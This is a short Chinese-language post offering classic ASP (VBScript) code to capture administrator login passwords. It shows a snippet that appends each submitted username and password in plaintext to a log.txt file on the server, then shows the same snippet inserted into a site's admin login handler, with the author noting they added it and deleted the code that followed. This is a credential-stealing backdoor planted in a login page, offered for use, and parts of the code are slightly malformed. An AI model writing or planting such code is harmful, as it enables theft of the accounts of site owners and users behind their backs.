Asp截获后台登录密码的代码

set fso=server.createobject("scripting.filesystemobject")
if fso.FileExists(server.mappath("log.txt"))=true then
set fin=fso.OpenTextFile(server.mappath("log.txt"))
temp=fin.readall
fin.close
set fin=nothing
end if
set fout=fso.createtextfile(server.mappath("log.txt"))
fout.WriteLine(temp&"user:"&username&"¦pwd:"&password&"¦time:"&now()&"")
fout.close
set fout=nothing
set fso=nothing

<%@language=vbscript codepage=936 %>
<%
dim sql,rs
dim username,password,CheckCode
username=replace(trim(request("username")),"","")
password=replace(trim(Request("password")),"","")
CheckCode=replace(trim(Request("CheckCode")),"","")
if UserName="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>用户名不能为空！</li>"
end if
if Password="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>密码不能为空！</li>"
end if
if CheckCode="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>验证码不能为空！</li>"
end if
if session("CheckCode")="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>你登录时间过长，请重新返回登录页面进行登录 。</li>"
end if
if CheckCode<>CStr(session("CheckCode")) then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>您输入的确认码和系统产生的不一致，请重新输入 。</li>"
end if
这后面是我增加的代码'开始区域
set fso=server.createobject("scripting.filesystemobject")
if fso.FileExists(server.mappath("log.txt"))=true then
set fin=fso.OpenTextFile(server.mappath("log.txt"))
temp=fin.readall
fin.close
set fin=nothing
end if
set fout=fso.createtextfile(server.mappath("log.txt"))
fout.WriteLine(temp&"user:"&username&"|pwd:"&password&"|time:"&now()&"")
fout.close
set fout=nothing
set fso=nothing
后面的代码被我删除了'结束区域

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